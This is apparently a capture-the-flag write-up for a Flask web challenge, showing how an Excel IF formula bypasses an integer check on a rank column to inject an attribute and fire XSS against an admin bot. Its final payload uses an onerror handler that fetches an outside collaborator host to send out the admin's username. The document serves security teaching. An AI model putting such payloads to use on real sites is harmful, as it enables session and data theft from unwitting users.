Statement #
The owner of the SkiData Platform has challenged you to find out his name! He told you, he has really good opsec, can you prove him wrong?
Author: h4ckd0tm3
Overview #
For this web challenge, here are the provided source files:
.
├── adj.txt
├── app.py
├── bot.py
├── deploy.sh
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.bot
├── flag.txt
├── instance
│ └── ski_race.db
├── noun.txt
├── requirements.txt
├── sha256sum
├── ski_race_example.xlsx
├── static
│ ├── logo.png
│ ├── rank-1.png
│ ├── rank-2.png
│ ├── rank-3.png
│ └── snow.js
└── templates
├── index.html
├── layout.html
├── login.html
├── my_races.html
├── nav.html
├── race_detail.html
└── register.html
4 directories, 25 files
The website has pages for registration and login. Once logged in, additional elements are accessible:
- /my_races
- /race/<int:race_id>
- /race/<int:race_id>/report
- /logout
The /my_races
route allows uploading race results from an Excel file, with a title and description. It also lists the results of all uploaded races. Then, you can access race rankings via /race/<int:race_id>
. Each id corresponds to the rankings of a different race. Finally, the /race/<int:race_id>/report
route allows reporting a race to the administrator.
To retrieve the flag, which corresponds to the administrator’s username (handled by bot.py):
docker-compose.yml:
environment:
- ADMIN_USER=gctf{FAKE_FAKE_FAKE}
- ADMIN_PASSWORD=.FakePW69!
- WEB_URL=http://skidata-web:5000
- REDIS_HOST=skidata-redis
app.py:
@app.route('/race/<int:race_id>/report')
@login_required
def race_report(race_id):
user = current_user
race = Race.query.get_or_404(race_id)
if race.user_id == user.id or user.is_admin:
q.enqueue(visit, url_for('race_detail', race_id=race_id),
os.environ.get("ADMIN_USER", "FAKEUSER"),
os.environ.get("ADMIN_PASSWORD", "FAKEPW"),
os.environ.get("WEB_URL", "localhost"))
flash('The Admin has been notified!')
return redirect(url_for("my_races"))
flash('Not your race!')
return redirect(url_for("my_races"))
bot.py:
import os
import sys
from time import sleep
from playwright.sync_api import sync_playwright
def visit(race, user, password, url):
print("Checking Race", race, file=sys.stderr)
with sync_playwright() as p:
browser = p.chromium.launch(
headless=True,
args=[
"--disable-dev-shm-usage",
"--disable-extensions",
"--disable-gpu",
"--no-sandbox",
"--headless"
])
context = browser.new_context()
page = context.new_page()
page.goto(f"{url}/login")
page.get_by_label("Username").fill(user)
page.get_by_label("Password").fill(password)
page.get_by_role("button", name="Login").click()
page.goto(f"{url}{race}")
sleep(4)
context.close()
browser.close()
Solution #
To solve this challenge, we need to upload an xlsx file containing the payload to bypass a filter and trigger the XSS, then report the vulnerable page to the administrator, simulated by a bot (bot.py).
Analysis and Bypass #
In this section, we will analyze the code to find a way to exploit an XSS. To start, we can look at the provided ski_race_example.xlsx
file, which serves as an example for recording race results. The provided model is a spreadsheet in the following format:
Name | Time | Rank | Country |
---|---|---|---|
ProjectSekai | 6:4:71 | 1 | INT |
organizers | 5:9:73 | 2 | CHE |
r3kapig | 5:4:72 | 3 | CHN |
TUDelftCTFTeam | 4:9:74 | 4 | NLD |
thehackerscrew | 4:9:74 | 5 | ATA |
CyKOR | 4:9:57 | 6 | KOR |
KITCTF | 4:6:40 | 7 | DEU |
RedHazzarTeam | 4:5:38 | 8 | RUS |
noreply | 4:5:32 | 9 | DZA |
LiteChicken | 3:7:93 | 10 | RUS |
When we upload this file with a title and description in /my_races
, we find our results from ski_race_example.xlsx
on a page at the /race/<int:race_id>
route. We can then ask whether it is possible to inject HTML tags to achieve an XSS. However, by default with Flask, special characters that allow injecting HTML tags are escaped. Except in cases where the developer explicitly requested not to escape the values passed into the template, for example with {{ myvariable|safe }}
.
If we look at the race_detail.html
file, we notice that all values passed, except for result.rank
, seem to be properly escaped:
{% extends "layout.html" %}
{% block content %}
<div class="container mt-5">
<h2>{{ race.race_name }}</h2>
<!-- Display the race comment if it exists -->
{% if race.comment %}
<p class="text-muted"><em>{{ race.comment }}</em></p>
{% endif %}
<!-- Race Results Table -->
<div class="mt-4">
<h4>Race Results</h4>
<table class="table table-bordered table-striped mt-3">
<thead>
<tr>
<th>Name</th><th>Time</th><th>Rank</th><th>Country</th>
</tr>
</thead>
<tbody>
{% for result in race.results %}
<tr>
<td>{{ result.name }}</td><td>{{ result.time }}</td>
{% if loop.index <= 3 %}
<td><img {{ style(result.rank)|xmlattr }} alt="rank-img"/></td>
{% else %}
<td>{{ result.rank }}</td>
{% endif %}
<td>{{ result.country }}</td>
</tr>
{% else %}
<tr>
<td colspan="4" class="text-center">No race results available</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
<a href="{{ url_for('my_races') }}" class="btn btn-secondary mt-3">Back to My Races</a>
<a href="{{ url_for('race_report', race_id=race.id)}}" class="btn btn-primary mt-3">Report to Admin</a>
</div>
{% endblock %}
Yes, the values present in the rank column pass through the style()
function and the xmlattr
filter. The xmlattr
filter is used to format XML/HTML attributes, and the style()
function is defined in app.py
:
def style(rank):
return {f"rank-{rank}": "1", "src": f"/static/rank-{rank}.png", "width": "25px", "height": "25px"}
app.jinja_env.globals.update(style=style)
Now, we might think that simply putting our payload in the rank column would give us our XSS. Unfortunately, it’s not that simple, because a check is performed on the values in the rank column. A condition in app.py
ensures that the values in the rank column are indeed integers:
excel = ExcelCompiler(filepath)
race_results = []
for row in range(2, 12):
try:
# [...]
if type(excel.evaluate(f'Sheet1!C{row}')) is not int:
flash(f"Sheet1!C{row}, Rank must be an integer")
return redirect(request.url)
excel.evaluate(f'Sheet1!E{row}')
excel.set_value(f'Sheet1!E{row}', "Imported")
name = excel.evaluate(f'Sheet1!A{row}')
time = excel.evaluate(f'Sheet1!B{row}')
rank = excel.evaluate(f'Sheet1!C{row}')
country = excel.evaluate(f'Sheet1!D{row}')
race_results.append({
'name': name,
'time': time,
'rank': rank,
'country': country
})
except Exception as e:
flash(f"Error processing row {row}: {str(e)}")
break
However, we also see that the program adds “Imported” each time a row is added. The “Imported” value is placed on the same row as the one added in race_results
, in column E. It would then be possible to set a condition so that one of the values in the rank column equals a number as long as “Imported” is not present on the row. But the value equals our payload to trigger the XSS when the row contains “Imported.”
Excel and Cross-Site Scripting #
Once the bypass is determined, we need to apply what was discussed earlier. To do this, we will need to use Excel. Those on Linux like me can use the online version available on OneDrive.
For conditions in Excel, we can use the IF()
function, which takes 3 arguments: the logical test, the value if true, and the value if false. We can then use a payload like: =IF(Sheet1!E2="Imported", "xss", 1)
in the second row of the rank column. When we test this payload, we see that the rank-1
attribute is replaced by rank-xss
, and the value of the src
attribute, /static/rank-1.png
, is replaced by /static/rank-xss.png
. We could then modify the source image and add the onerror
attribute to execute JavaScript.
Result:
We just need to craft our payload to trigger the XSS and leak the administrator’s username. To use double quotes, which might cause issues, we can use the CHAR()
function in Excel.
Exploitation #
Final payload:
=IF(Sheet1!E2="Imported", "x"&CHAR(34)&"/onerror=fetch('https://2wzdg74vnozmon6zh1ip7rptuk0bo1cq.oastify.com/?flag='.concat(btoa(document.querySelector('span.navbar-text').textContent)))", 1)
PoC:
Flag: gctf{ex3c3lsi0r_l4zy_m4st3r}